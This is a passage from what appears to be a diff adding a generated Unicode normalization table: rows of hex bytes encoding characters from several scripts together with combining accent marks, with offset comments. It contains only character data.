0xA3, 0xB9, 0x03, 0x6E, 0xCC, 0xA7, 0xA9, 0x03, + 0x6E, 0xCC, 0xAD, 0xB9, 0x03, 0x6E, 0xCC, 0xB1, + 0xB9, 0x03, 0x6F, 0xCC, 0x80, 0xCD, 0x03, 0x6F, + // Bytes 3580 - 35bf + 0xCC, 0x81, 0xCD, 0x03, 0x6F, 0xCC, 0x86, 0xCD, + 0x03, 0x6F, 0xCC, 0x89, 0xCD, 0x03, 0x6F, 0xCC, + 0x8B, 0xCD, 0x03, 0x6F, 0xCC, 0x8C, 0xCD, 0x03, + 0x6F, 0xCC, 0x8F, 0xCD, 0x03, 0x6F, 0xCC, 0x91, + 0xCD, 0x03, 0x70, 0xCC, 0x81, 0xCD, 0x03, 0x70, + 0xCC, 0x87, 0xCD, 0x03, 0x72, 0xCC, 0x81, 0xCD, + 0x03, 0x72, 0xCC, 0x87, 0xCD, 0x03, 0x72, 0xCC, + 0x8C, 0xCD, 0x03, 0x72, 0xCC, 0x8F, 0xCD, 0x03, + // Bytes 35c0 - 35ff + 0x72, 0xCC, 0x91, 0xCD, 0x03, 0x72, 0xCC, 0xA7, + 0xA9, 0x03, 0x72, 0xCC, 0xB1, 0xB9, 0x03, 0x73, + 0xCC, 0x82, 0xCD, 0x03, 0x73, 0xCC, 0x87, 0xCD, + 0x03, 0x73, 0xCC, 0xA6, 0xB9, 0x03, 0x73, 0xCC, + 0xA7, 0xA9, 0x03, 0x74, 0xCC, 0x87, 0xCD, 0x03, + 0x74, 0xCC, 0x88, 0xCD, 0x03, 0x74, 0xCC, 0x8C, + 0xCD, 0x03, 0x74, 0xCC, 0xA3, 0xB9, 0x03, 0x74, + 0xCC, 0xA6, 0xB9, 0x03, 0x74, 0xCC, 0xA7, 0xA9, + // Bytes 3600 - 363f + 0x03, 0x74, 0xCC, 0xAD, 0xB9, 0x03, 0x74, 0xCC, + 0xB1, 0xB9, 0x03, 0x75, 0xCC, 0x80, 0xCD, 0x03, + 0x75, 0xCC, 0x81, 0xCD, 0x03, 0x75, 0xCC, 0x82, + 0xCD, 0x03, 0x75, 0xCC, 0x86, 0xCD, 0x03, 0x75, + 0xCC, 0x89, 0xCD, 0x03, 0x75, 0xCC, 0x8A, 0xCD, + 0x03, 0x75, 0xCC, 0x8B, 0xCD, 0x03, 0x75, 0xCC, + 0x8C, 0xCD, 0x03, 0x75, 0xCC, 0x8F, 0xCD, 0x03, + 0x75, 0xCC, 0x91, 0xCD, 0x03, 0x75, 0xCC, 0xA3, + // Bytes 3640 - 367f + 0xB9, 0x03, 0x75, 0xCC, 0xA4, 0xB9, 0x03, 0x75, + 0xCC, 0xA8, 0xA9, 0x03, 0x75, 0xCC, 0xAD, 0xB9, + 0x03, 0x75, 0xCC, 0xB0, 0xB9, 0x03, 0x76, 0xCC, + 0x83, 0xCD, 0x03, 0x76, 0xCC, 0xA3, 0xB9, 0x03, + 0x77, 0xCC, 0x80, 0xCD, 0x03, 0x77, 0xCC, 0x81, + 0xCD, 0x03, 0x77, 0xCC, 0x82, 0xCD, 0x03, 0x77, + 0xCC, 0x87, 0xCD, 0x03, 0x77, 0xCC, 0x88, 0xCD, + 0x03, 0x77, 0xCC, 0x8A, 0xCD, 0x03, 0x77, 0xCC, + // Bytes 3680 - 36bf + 0xA3, 0xB9, 0x03, 0x78, 0xCC, 0x87, 0xCD, 0x03, + 0x78, 0xCC, 0x88, 0xCD, 0x03, 0x79, 0xCC, 0x80, + 0xCD, 0x03, 0x79, 0xCC, 0x81, 0xCD, 0x03, 0x79, + 0xCC, 0x82, 0xCD, 0x03, 0x79, 0xCC, 0x83, 0xCD, + 0x03, 0x79, 0xCC, 0x84, 0xCD, 0x03, 0x79, 0xCC, + 0x87, 0xCD, 0x03, 0x79, 0xCC, 0x88, 0xCD, 0x03, + 0x79, 0xCC, 0x89, 0xCD, 0x03, 0x79, 0xCC, 0x8A, + 0xCD, 0x03, 0x79, 0xCC, 0xA3, 0xB9, 0x03, 0x7A, + // Bytes 36c0 - 36ff + 0xCC, 0x81, 0xCD, 0x03, 0x7A, 0xCC, 0x82, 0xCD, + 0x03, 0x7A, 0xCC, 0x87, 0xCD, 0x03, 0x7A, 0xCC, + 0x8C, 0xCD, 0x03, 0x7A, 0xCC, 0xA3, 0xB9, 0x03, + 0x7A, 0xCC, 0xB1, 0xB9, 0x04, 0xC2, 0xA8, 0xCC, + 0x80, 0xCE, 0x04, 0xC2, 0xA8, 0xCC, 0x81, 0xCE, + 0x04, 0xC2, 0xA8, 0xCD, 0x82, 0xCE, 0x04, 0xC3, + 0x86, 0xCC, 0x81, 0xCD, 0x04, 0xC3, 0x86, 0xCC, + 0x84, 0xCD, 0x04, 0xC3, 0x98, 0xCC, 0x81, 0xCD, + // Bytes 3700 - 373f + 0x04, 0xC3, 0xA6, 0xCC, 0x81, 0xCD, 0x04, 0xC3, + 0xA6, 0xCC, 0x84, 0xCD, 0x04, 0xC3, 0xB8, 0xCC, + 0x81, 0xCD, 0x04, 0xC5, 0xBF, 0xCC, 0x87, 0xCD, + 0x04, 0xC6, 0xB7, 0xCC, 0x8C, 0xCD, 0x04, 0xCA, + 0x92, 0xCC, 0x8C, 0xCD, 0x04, 0xCE, 0x91, 0xCC, + 0x80, 0xCD, 0x04, 0xCE, 0x91, 0xCC, 0x81, 0xCD, + 0x04, 0xCE, 0x91, 0xCC, 0x84, 0xCD, 0x04, 0xCE, + 0x91, 0xCC, 0x86, 0xCD, 0x04, 0xCE, 0x91, 0xCD, + // Bytes 3740 - 377f + 0x85, 0xDD, 0x04, 0xCE, 0x95, 0xCC, 0x80, 0xCD, + 0x04, 0xCE, 0x95, 0xCC, 0x81, 0xCD, 0x04, 0xCE, + 0x97, 0xCC, 0x80, 0xCD, 0x04, 0xCE, 0x97, 0xCC, + 0x81, 0xCD, 0x04, 0xCE, 0x97, 0xCD, 0x85, 0xDD, + 0x04, 0xCE, 0x99, 0xCC, 0x80, 0xCD, 0x04, 0xCE, + 0x99, 0xCC, 0x81, 0xCD, 0x04, 0xCE, 0x99, 0xCC, + 0x84, 0xCD, 0x04, 0xCE, 0x99, 0xCC, 0x86, 0xCD, + 0x04, 0xCE, 0x99, 0xCC, 0x88, 0xCD, 0x04, 0xCE, + // Bytes 3780 - 37bf + 0x9F, 0xCC, 0x80, 0xCD, 0x04, 0xCE, 0x9F, 0xCC, + 0x81, 0xCD, 0x04, 0xCE, 0xA1, 0xCC, 0x94, 0xCD, + 0x04, 0xCE, 0xA5, 0xCC, 0x80, 0xCD, 0x04, 0xCE, + 0xA5, 0xCC, 0x81, 0xCD, 0x04, 0xCE, 0xA5, 0xCC, + 0x84, 0xCD, 0x04, 0xCE, 0xA5, 0xCC, 0x86, 0xCD, + 0x04, 0xCE, 0xA5, 0xCC, 0x88, 0xCD, 0x04, 0xCE, + 0xA9, 0xCC, 0x80, 0xCD, 0x04, 0xCE, 0xA9, 0xCC, + 0x81, 0xCD, 0x04, 0xCE, 0xA9, 0xCD, 0x85, 0xDD, + // Bytes 37c0 - 37ff + 0x04, 0xCE, 0xB1, 0xCC, 0x84, 0xCD, 0x04, 0xCE, + 0xB1, 0xCC, 0x86, 0xCD, 0x04, 0xCE, 0xB1, 0xCD, + 0x85, 0xDD, 0x04, 0xCE, 0xB5, 0xCC, 0x80, 0xCD, + 0x04, 0xCE, 0xB5, 0xCC, 0x81, 0xCD, 0x04, 0xCE, + 0xB7, 0xCD, 0x85, 0xDD, 0x04, 0xCE, 0xB9, 0xCC, + 0x80, 0xCD, 0x04, 0xCE, 0xB9, 0xCC, 0x81, 0xCD, + 0x04, 0xCE, 0xB9, 0xCC, 0x84, 0xCD, 0x04, 0xCE, + 0xB9, 0xCC, 0x86, 0xCD, 0x04, 0xCE, 0xB9, 0xCD, + // Bytes 3800 - 383f + 0x82, 0xCD, 0x04, 0xCE, 0xBF, 0xCC, 0x80, 0xCD, + 0x04, 0xCE, 0xBF, 0xCC, 0x81, 0xCD, 0x04, 0xCF, + 0x81, 0xCC, 0x93, 0xCD, 0x04, 0xCF, 0x81, 0xCC, + 0x94, 0xCD, 0x04, 0xCF, 0x85, 0xCC, 0x80, 0xCD, + 0x04, 0xCF, 0x85, 0xCC, 0x81, 0xCD, 0x04, 0xCF, + 0x85, 0xCC, 0x84, 0xCD, 0x04, 0xCF, 0x85, 0xCC, + 0x86, 0xCD, 0x04, 0xCF, 0x85, 0xCD, 0x82, 0xCD, + 0x04, 0xCF, 0x89, 0xCD, 0x85, 0xDD, 0x04, 0xCF, + // Bytes 3840 - 387f + 0x92, 0xCC, 0x81, 0xCD, 0x04, 0xCF, 0x92, 0xCC, + 0x88, 0xCD, 0x04, 0xD0, 0x86, 0xCC, 0x88, 0xCD, + 0x04, 0xD0, 0x90, 0xCC, 0x86, 0xCD, 0x04, 0xD0, + 0x90, 0xCC, 0x88, 0xCD, 0x04, 0xD0, 0x93, 0xCC, + 0x81, 0xCD, 0x04, 0xD0, 0x95, 0xCC, 0x80, 0xCD, + 0x04, 0xD0, 0x95, 0xCC, 0x86, 0xCD, 0x04, 0xD0, + 0x95, 0xCC, 0x88, 0xCD, 0x04, 0xD0, 0x96, 0xCC, + 0x86, 0xCD, 0x04, 0xD0, 0x96, 0xCC, 0x88, 0xCD, + // Bytes 3880 - 38bf + 0x04, 0xD0, 0x97, 0xCC, 0x88, 0xCD, 0x04, 0xD0, + 0x98, 0xCC, 0x80, 0xCD, 0x04, 0xD0, 0x98, 0xCC, + 0x84, 0xCD, 0x04, 0xD0, 0x98, 0xCC, 0x86, 0xCD, + 0x04, 0xD0, 0x98, 0xCC, 0x88, 0xCD, 0x04, 0xD0, + 0x9A, 0xCC, 0x81, 0xCD, 0x04, 0xD0, 0x9E, 0xCC, + 0x88, 0xCD, 0x04, 0xD0, 0xA3, 0xCC, 0x84, 0xCD, + 0x04, 0xD0, 0xA3, 0xCC, 0x86, 0xCD, 0x04, 0xD0, + 0xA3, 0xCC, 0x88, 0xCD, 0x04, 0xD0, 0xA3, 0xCC, + // Bytes 38c0 - 38ff + 0x8B, 0xCD, 0x04, 0xD0, 0xA7, 0xCC, 0x88, 0xCD, + 0x04, 0xD0, 0xAB, 0xCC, 0x88, 0xCD, 0x04, 0xD0, + 0xAD, 0xCC, 0x88, 0xCD, 0x04, 0xD0, 0xB0, 0xCC, + 0x86, 0xCD, 0x04, 0xD0, 0xB0, 0xCC, 0x88, 0xCD, + 0x04, 0xD0, 0xB3, 0xCC, 0x81, 0xCD, 0x04, 0xD0, + 0xB5, 0xCC, 0x80, 0xCD, 0x04, 0xD0, 0xB5, 0xCC, + 0x86, 0xCD, 0x04, 0xD0, 0xB5, 0xCC, 0x88, 0xCD, + 0x04, 0xD0, 0xB6, 0xCC, 0x86, 0xCD, 0x04, 0xD0, + // Bytes 3900 - 393f + 0xB6, 0xCC, 0x88, 0xCD, 0x04, 0xD0, 0xB7, 0xCC, + 0x88, 0xCD, 0x04, 0xD0, 0xB8, 0xCC, 0x80, 0xCD, + 0x04, 0xD0, 0xB8, 0xCC, 0x84, 0xCD, 0x04, 0xD0, + 0xB8, 0xCC, 0x86, 0xCD, 0x04, 0xD0, 0xB8, 0xCC, + 0x88, 0xCD, 0x04, 0xD0, 0xBA, 0xCC, 0x81, 0xCD, + 0x04, 0xD0, 0xBE, 0xCC, 0x88, 0xCD, 0x04, 0xD1, + 0x83, 0xCC, 0x84, 0xCD, 0x04, 0xD1, 0x83, 0xCC, + 0x86, 0xCD, 0x04, 0xD1, 0x83, 0xCC, 0x88, 0xCD, + // Bytes 3940 - 397f + 0x04, 0xD1, 0x83, 0xCC, 0x8B, 0xCD, 0x04, 0xD1, + 0x87, 0xCC, 0x88, 0xCD, 0x04, 0xD1, 0x8B, 0xCC, + 0x88, 0xCD, 0x04, 0xD1, 0x8D, 0xCC, 0x88, 0xCD, + 0x04, 0xD1, 0x96, 0xCC, 0x88, 0xCD, 0x04, 0xD1, + 0xB4, 0xCC, 0x8F, 0xCD, 0x04, 0xD1, 0xB5, 0xCC, + 0x8F, 0xCD, 0x04, 0xD3, 0x98, 0xCC, 0x88, 0xCD, + 0x04, 0xD3, 0x99, 0xCC, 0x88, 0xCD, 0x04, 0xD3, + 0xA8, 0xCC, 0x88, 0xCD, 0x04, 0xD3, 0xA9, 0xCC, + // Bytes 3980 - 39bf + 0x88, 0xCD, 0x04, 0xD8, 0xA7, 0xD9, 0x93, 0xCD, + 0x04, 0xD8, 0xA7, 0xD9, 0x94, 0xCD, 0x04, 0xD8, + 0xA7, 0xD9, 0x95, 0xB9, 0x04, 0xD9, 0x88, 0xD9, + 0x94, 0xCD, 0x04, 0xD9, 0x8A, 0xD9, 0x94, 0xCD, + 0x04, 0xDB, 0x81, 0xD9, 0x94, 0xCD, 0x04, 0xDB, + 0x92, 0xD9, 0x94, 0xCD, 0x04, 0xDB, 0x95, 0xD9, + 0x94, 0xCD, 0x05, 0x41, 0xCC, 0x82, 0xCC, 0x80, + 0xCE, 0x05, 0x41, 0xCC, 0x82, 0xCC, 0x81, 0xCE, + // Bytes 39c0 - 39ff + 0x05, 0x41, 0xCC, 0x82, 0xCC, 0x83, 0xCE, 0x05, + 0x41, 0xCC, 0x82, 0xCC, 0x89, 0xCE, 0x05, 0x41, + 0xCC, 0x86, 0xCC, 0x80, 0xCE, 0x05, 0x41, 0xCC, + 0x86, 0xCC, 0x81, 0xCE, 0x05, 0x41, 0xCC, 0x86, + 0xCC, 0x83, 0xCE, 0x05, 0x41, 0xCC, 0x86, 0xCC, + 0x89, 0xCE, 0x05, 0x41, 0xCC, 0x87, 0xCC, 0x84, + 0xCE, 0x05, 0x41, 0xCC, 0x88, 0xCC, 0x84, 0xCE, + 0x05, 0x41, 0xCC, 0x8A, 0xCC, 0x81, 0xCE, 0x05, + // Bytes 3a00 - 3a3f + 0x41, 0xCC, 0xA3, 0xCC, 0x82, 0xCE, 0x05, 0x41, + 0xCC, 0xA3, 0xCC, 0x86, 0xCE, 0x05, 0x43, 0xCC, + 0xA7, 0xCC, 0x81, 0xCE, 0x05, 0x45, 0xCC, 0x82, + 0xCC, 0x80, 0xCE, 0x05, 0x45, 0xCC, 0x82, 0xCC, + 0x81, 0xCE, 0x05, 0x45, 0xCC, 0x82, 0xCC, 0x83, + 0xCE, 0x05, 0x45, 0xCC, 0x82, 0xCC, 0x89, 0xCE, + 0x05, 0x45, 0xCC, 0x84, 0xCC, 0x80, 0xCE, 0x05, + 0x45, 0xCC, 0x84, 0xCC, 0x81, 0xCE, 0x05, 0x45, + // Bytes 3a40 - 3a7f + 0xCC, 0xA3, 0xCC, 0x82, 0xCE, 0x05, 0x45, 0xCC, + 0xA7, 0xCC, 0x86, 0xCE, 0x05, 0x49, 0xCC, 0x88, + 0xCC, 0x81, 0xCE, 0x05, 0x4C, 0xCC, 0xA3, 0xCC, + 0x84, 0xCE, 0x05, 0x4F, 0xCC, 0x82, 0xCC, 0x80, + 0xCE, 0x05, 0x4F, 0xCC, 0x82, 0xCC, 0x81, 0xCE, + 0x05, 0x4F, 0xCC, 0x82, 0xCC, 0x83, 0xCE, 0x05, + 0x4F, 0xCC, 0x82, 0xCC, 0x89, 0xCE, 0x05, 0x4F, + 0xCC, 0x83, 0xCC, 0x81, 0xCE, 0x05, 0x4F, 0xCC, + // Bytes 3a80 - 3abf + 0x83, 0xCC, 0x84, 0xCE, 0x05, 0x4F, 0xCC, 0x83, + 0xCC, 0x88, 0xCE, 0x05, 0x4F, 0xCC, 0x84, 0xCC, + 0x80, 0xCE, 0x05, 0x4F, 0xCC, 0x84, 0xCC, 0x81, + 0xCE, 0x05, 0x4F, 0xCC, 0x87, 0xCC, 0x84, 0xCE, + 0x05, 0x4F, 0xCC, 0x88, 0xCC, 0x84, 0xCE, 0x05, + 0x4F, 0xCC, 0x9B, 0xCC, 0x80, 0xCE, 0x05, 0x4F, + 0xCC, 0x9B, 0xCC, 0x81, 0xCE, 0x05, 0x4F, 0xCC, + 0x9B, 0xCC, 0x83, 0xCE, 0x05, 0x4F, 0xCC, 0x9B, + // Bytes 3ac0 - 3aff + 0xCC, 0x89, 0xCE, 0x05, 0x4F, 0xCC, 0x9B, 0xCC, + 0xA3, 0xBA, 0x05, 0x4F, 0xCC, 0xA3, 0xCC, 0x82, + 0xCE, 0x05, 0x4F, 0xCC, 0xA8, 0xCC, 0x84, 0xCE, + 0x05, 0x52, 0xCC, 0xA3, 0xCC, 0x84, 0xCE, 0x05, + 0x53, 0xCC, 0x81, 0xCC, 0x87, 0xCE, 0x05, 0x53, + 0xCC, 0x8C, 0xCC, 0x87, 0xCE, 0x05, 0x53, 0xCC, + 0xA3, 0xCC, 0x87, 0xCE, 0x05, 0x55, 0xCC, 0x83, + 0xCC, 0x81, 0xCE, 0x05, 0x55, 0xCC, 0x84, 0xCC, + // Bytes 3b00 - 3b3f + 0x88, 0xCE, 0x05, 0x55, 0xCC, 0x88, 0xCC, 0x80, + 0xCE, 0x05, 0x55, 0xCC, 0x88, 0xCC, 0x81, 0xCE, + 0x05, 0x55, 0xCC, 0x88, 0xCC, 0x84, 0xCE, 0x05, + 0x55, 0xCC, 0x88, 0xCC, 0x8C, 0xCE, 0x05, 0x55, + 0xCC, 0x9B, 0xCC, 0x80, 0xCE, 0x05, 0x55, 0xCC, + 0x9B, 0xCC, 0x81, 0xCE, 0x05, 0x55, 0xCC, 0x9B, + 0xCC, 0x83, 0xCE, 0x05, 0x55, 0xCC, 0x9B, 0xCC, + 0x89, 0xCE, 0x05, 0x55, 0xCC, 0x9B, 0xCC, 0xA3, + // Bytes 3b40 - 3b7f + 0xBA, 0x05, 0x61, 0xCC, 0x82, 0xCC, 0x80, 0xCE, + 0x05, 0x61, 0xCC, 0x82, 0xCC, 0x81, 0xCE, 0x05, + 0x61, 0xCC, 0x82, 0xCC, 0x83, 0xCE, 0x05, 0x61, + 0xCC, 0x82, 0xCC, 0x89, 0xCE, 0x05, 0x61, 0xCC, + 0x86, 0xCC, 0x80, 0xCE, 0x05, 0x61, 0xCC, 0x86, + 0xCC, 0x81, 0xCE, 0x05, 0x61, 0xCC, 0x86, 0xCC, + 0x83, 0xCE, 0x05, 0x61, 0xCC, 0x86, 0xCC, 0x89, + 0xCE, 0x05, 0x61, 0xCC, 0x87, 0xCC, 0x84, 0xCE, + // Bytes 3b80 - 3bbf + 0x05, 0x61, 0xCC, 0x88, 0xCC, 0x84, 0xCE, 0x05, + 0x61, 0xCC, 0x8A, 0xCC, 0x81, 0xCE, 0x05, 0x61, + 0xCC, 0xA3, 0xCC, 0x82, 0xCE, 0x05, 0x61, 0xCC, + 0xA3, 0xCC, 0x86, 0xCE, 0x05, 0x63, 0xCC, 0xA7, + 0xCC, 0x81, 0xCE, 0x05, 0x65, 0xCC, 0x82, 0xCC, + 0x80, 0xCE, 0x05, 0x65, 0xCC, 0x82, 0xCC, 0x81, + 0xCE, 0x05, 0x65, 0xCC, 0x82, 0xCC, 0x83, 0xCE, + 0x05, 0x65, 0xCC, 0x82, 0xCC, 0x89, 0xCE, 0x05, + // Bytes 3bc0 - 3bff + 0x65, 0xCC, 0x84, 0xCC, 0x80, 0xCE, 0x05, 0x65, + 0xCC, 0x84, 0xCC, 0x81, 0xCE, 0x05, 0x65, 0xCC, + 0xA3, 0xCC, 0x82, 0xCE, 0x05, 0x65, 0xCC, 0xA7, + 0xCC, 0x86, 0xCE, 0x05, 0x69, 0xCC, 0x88, 0xCC, + 0x81, 0xCE, 0x05, 0x6C, 0xCC, 0xA3, 0xCC, 0x84, + 0xCE, 0x05, 0x6F, 0xCC, 0x82, 0xCC, 0x80, 0xCE, + 0x05, 0x6F, 0xCC, 0x82, 0xCC, 0x81, 0xCE, 0x05, + 0x6F, 0xCC, 0x82, 0xCC, 0x83, 0xCE, 0x05, 0x6F, + // Bytes 3c00 - 3c3f + 0xCC, 0x82, 0xCC, 0x89, 0xCE, 0x05, 0x6F, 0xCC, + 0x83, 0xCC, 0x81, 0xCE, 0x05, 0x6F, 0xCC, 0x83, + 0xCC, 0x84, 0xCE, 0x05, 0x6F, 0xCC, 0x83, 0xCC, + 0x88, 0xCE, 0x05, 0x6F, 0xCC, 0x84, 0xCC, 0x80, + 0xCE, 0x05, 0x6F, 0xCC, 0x84, 0xCC, 0x81, 0xCE, + 0x05, 0x6F, 0xCC, 0x87, 0xCC, 0x84, 0xCE, 0x05, + 0x6F, 0xCC, 0x88, 0xCC, 0x84, 0xCE, 0x05, 0x6F, + 0xCC, 0x9B, 0xCC, 0x80, 0xCE, 0x05, 0x6F, 0xCC, + // Bytes 3c40 - 3c7f + 0x9B, 0xCC, 0x81, 0xCE, 0x05, 0x6F, 0xCC, 0x9B, + 0xCC, 0x83, 0xCE, 0x05, 0x6F, 0xCC, 0x9B, 0xCC, + 0x89, 0xCE, 0x05, 0x6F, 0xCC, 0x9B, 0xCC, 0xA3, + 0xBA, 0x05, 0x6F, 0xCC, 0xA3, 0xCC, 0x82, 0xCE, + 0x05, 0x6F, 0xCC, 0xA8, 0xCC, 0x84, 0xCE, 0x05, + 0x72, 0xCC, 0xA3, 0xCC, 0x84, 0xCE, 0x05, 0x73, + 0xCC, 0x81, 0xCC, 0x87, 0xCE, 0x05, 0x73, 0xCC, + 0x8C, 0xCC, 0x87, 0xCE, 0x05, 0x73, 0xCC, 0xA3, + // Bytes 3c80 - 3cbf + 0xCC, 0x87, 0xCE, 0x05, 0x75, 0xCC, 0x83, 0xCC, + 0x81, 0xCE, 0x05, 0x75, 0xCC, 0x84, 0xCC, 0x88, + 0xCE, 0x05, 0x75, 0xCC, 0x88, 0xCC, 0x80, 0xCE, + 0x05, 0x75, 0xCC, 0x88, 0xCC, 0x81, 0xCE, 0x05, + 0x75, 0xCC, 0x88, 0xCC, 0x84, 0xCE, 0x05, 0x75, + 0xCC, 0x88, 0xCC, 0x8C, 0xCE, 0x05, 0x75, 0xCC, + 0x9B, 0xCC, 0x80, 0xCE, 0x05, 0x75, 0xCC, 0x9B, + 0xCC, 0x81, 0xCE, 0x05, 0x75, 0xCC, 0x9B, 0xCC, + // Bytes 3cc0 - 3cff + 0x83, 0xCE, 0x05, 0x75, 0xCC, 0x9B, 0xCC, 0x89, + 0xCE, 0x05, 0x75, 0xCC, 0x9B, 0xCC, 0xA3, 0xBA, + 0x05, 0xE1, 0xBE, 0xBF, 0xCC, 0x80, 0xCE, 0x05, + 0xE1, 0xBE, 0xBF, 0xCC, 0x81, 0xCE, 0x05, 0xE1, + 0xBE, 0xBF, 0xCD, 0x82, 0xCE, 0x05, 0xE1, 0xBF, + 0xBE, 0xCC, 0x80, 0xCE, 0x05, 0xE1, 0xBF, 0xBE, + 0xCC, 0x81, 0xCE, 0x05, 0xE1, 0xBF, 0xBE, 0xCD, + 0x82, 0xCE, 0x05, 0xE2, 0x86, 0x90, 0xCC, 0xB8, + // Bytes 3d00 - 3d3f + 0x05, 0x05, 0xE2, 0x86, 0x92, 0xCC, 0xB8, 0x05, + 0x05, 0xE2, 0x86, 0x94, 0xCC, 0xB8, 0x05, 0x05, + 0xE2, 0x87, 0x90, 0xCC, 0xB8, 0x05, 0x05, 0xE2, + 0x87, 0x92, 0xCC, 0xB8, 0x05, 0x05, 0xE2, 0x87, + 0x94, 0xCC, 0xB8, 0x05, 0x05, 0xE2, 0x88, 0x83, + 0xCC, 0xB8, 0x05, 0x05, 0xE2, 0x88, 0x88, 0xCC, + 0xB8, 0x05, 0x05, 0xE2, 0x88, 0x8B, 0xCC, 0xB8, + 0x05, 0x05, 0xE2, 0x88, 0xA3, 0xCC, 0xB8, 0x05, + // Bytes 3d40 - 3d7f + 0x05, 0xE2, 0x88, 0xA5, 0xCC, 0xB8, 0x05, 0x05, + 0xE2, 0x88, 0xBC, 0xCC, 0xB8, 0x05, 0x05, 0xE2, + 0x89, 0x83, 0xCC, 0xB8, 0x05, 0x05, 0xE2, 0x89, + 0x85, 0xCC, 0xB8, 0x05, 0x05, 0xE2, 0x89, 0x88, + 0xCC, 0xB8, 0x05, 0x05, 0xE2, 0x89, 0x8D, 0xCC, + 0xB8, 0x05, 0x05, 0xE2, 0x89, 0xA1, 0xCC, 0xB8, + 0x05, 0x05, 0xE2, 0x89, 0xA4, 0xCC, 0xB8, 0x05, + 0x05, 0xE2, 0x89, 0xA5, 0xCC, 0xB8, 0x05, 0x05, + // Bytes 3d80 - 3dbf + 0xE2, 0x89, 0xB2, 0xCC, 0xB8, 0x05, 0x05, 0xE2, + 0x89, 0xB3, 0xCC, 0xB8, 0x05, 0x05, 0xE2, 0x89, + 0xB6, 0xCC, 0xB8, 0x05, 0x05, 0xE2, 0x89, 0xB7, + 0xCC, 0xB8, 0x05, 0x05, 0xE2, 0x89, 0xBA, 0xCC, + 0xB8, 0x05, 0x05, 0xE2, 0x89, 0xBB, 0xCC, 0xB8, + 0x05, 0x05, 0xE2, 0x89, 0xBC, 0xCC, 0xB8, 0x05, + 0x05, 0xE2, 0x89, 0xBD, 0xCC, 0xB8, 0x05, 0x05, + 0xE2, 0x8A, 0x82, 0xCC, 0xB8, 0x05, 0x05, 0xE2, + // Bytes 3dc0 - 3dff + 0x8A, 0x83, 0xCC, 0xB8, 0x05, 0x05, 0xE2, 0x8A, + 0x86, 0xCC, 0xB8, 0x05, 0x05, 0xE2, 0x8A, 0x87, + 0xCC, 0xB8, 0x05, 0x05, 0xE2, 0x8A, 0x91, 0xCC, + 0xB8, 0x05, 0x05, 0xE2, 0x8A, 0x92, 0xCC, 0xB8, + 0x05, 0x05, 0xE2, 0x8A, 0xA2, 0xCC, 0xB8, 0x05, + 0x05, 0xE2, 0x8A, 0xA8, 0xCC, 0xB8, 0x05, 0x05, + 0xE2, 0x8A, 0xA9, 0xCC, 0xB8, 0x05, 0x05, 0xE2, + 0x8A, 0xAB, 0xCC, 0xB8, 0x05, 0x05, 0xE2, 0x8A, + // Bytes 3e00 - 3e3f + 0xB2, 0xCC, 0xB8, 0x05, 0x05, 0xE2, 0x8A, 0xB3, + 0xCC, 0xB8, 0x05, 0x05, 0xE2, 0x8A, 0xB4, 0xCC, + 0xB8, 0x05, 0x05, 0xE2, 0x8A, 0xB5, 0xCC, 0xB8, + 0x05, 0x06, 0xCE, 0x91, 0xCC, 0x93, 0xCD, 0x85, + 0xDE, 0x06, 0xCE, 0x91, 0xCC, 0x94, 0xCD, 0x85, + 0xDE, 0x06, 0xCE, 0x95, 0xCC, 0x93, 0xCC, 0x80, + 0xCE, 0x06, 0xCE, 0x95, 0xCC, 0x93, 0xCC, 0x81, + 0xCE, 0x06, 0xCE, 0x95, 0xCC, 0x94, 0xCC, 0x80, + // Bytes 3e40 - 3e7f + 0xCE, 0x06, 0xCE, 0x95, 0xCC, 0x94, 0xCC, 0x81, + 0xCE, 0x06, 0xCE, 0x97, 0xCC, 0x93, 0xCD, 0x85, + 0xDE, 0x06, 0xCE, 0x97, 0xCC, 0x94, 0xCD, 0x85, + 0xDE, 0x06, 0xCE, 0x99, 0xCC, 0x93, 0xCC, 0x80, + 0xCE, 0x06, 0xCE, 0x99, 0xCC, 0x93, 0xCC, 0x81, + 0xCE, 0x06, 0xCE, 0x99, 0xCC, 0x93, 0xCD, 0x82, + 0xCE, 0x06, 0xCE, 0x99, 0xCC, 0x94, 0xCC, 0x80, + 0xCE, 0x06, 0xCE, 0x99, 0xCC, 0x94, 0xCC, 0x81, + // Bytes 3e80 - 3ebf + 0xCE, 0x06, 0xCE, 0x99, 0xCC, 0x94, 0xCD, 0x82, + 0xCE, 0x06, 0xCE, 0x9F, 0xCC, 0x93, 0xCC, 0x80, + 0xCE, 0x06, 0xCE, 0x9F, 0xCC, 0x93, 0xCC, 0x81, + 0xCE, 0x06, 0xCE, 0x9F, 0xCC, 0x94, 0xCC, 0x80, + 0xCE, 0x06, 0xCE, 0x9F, 0xCC, 0x94, 0xCC, 0x81, + 0xCE, 0x06, 0xCE, 0xA5, 0xCC, 0x94, 0xCC, 0x80, + 0xCE, 0x06, 0xCE, 0xA5, 0xCC, 0x94, 0xCC, 0x81, + 0xCE, 0x06, 0xCE, 0xA5, 0xCC, 0x94, 0xCD, 0x82, + // Bytes 3ec0 - 3eff + 0xCE, 0x06, 0xCE, 0xA9, 0xCC, 0x93, 0xCD, 0x85, + 0xDE, 0x06, 0xCE, 0xA9, 0xCC, 0x94, 0xCD, 0x85, + 0xDE, 0x06, 0xCE, 0xB1, 0xCC, 0x80, 0xCD, 0x85, + 0xDE, 0x06, 0xCE, 0xB1, 0xCC, 0x81, 0xCD, 0x85, + 0xDE, 0x06, 0xCE, 0xB1, 0xCC, 0x93, 0xCD, 0x85, + 0xDE, 0x06, 0xCE, 0xB1, 0xCC, 0x94, 0xCD, 0x85, + 0xDE, 0x06, 0xCE, 0xB1, 0xCD, 0x82, 0xCD, 0x85, + 0xDE, 0x06, 0xCE, 0xB5, 0xCC, 0x93, 0xCC, 0x80, + // Bytes 3f00 - 3f3f + 0xCE, 0x06, 0xCE, 0xB5, 0xCC, 0x93, 0xCC, 0x81, + 0xCE, 0x06, 0xCE, 0xB5, 0xCC, 0x94, 0xCC, 0x80, + 0xCE, 0x06, 0xCE, 0xB5, 0xCC, 0x94, 0xCC, 0x81, + 0xCE, 0x06, 0xCE, 0xB7, 0xCC, 0x80, 0xCD, 0x85, + 0xDE, 0x06, 0xCE, 0xB7, 0xCC, 0x81, 0xCD, 0x85, + 0xDE, 0x06, 0xCE, 0xB7, 0xCC, 0x93, 0xCD, 0x85, + 0xDE, 0x06, 0xCE, 0xB7, 0xCC, 0x94, 0xCD, 0x85, + 0xDE, 0x06, 0xCE, 0xB7, 0xCD, 0x82, 0xCD, 0x85, + // Bytes 3f40 - 3f7f + 0xDE, 0x06, 0xCE, 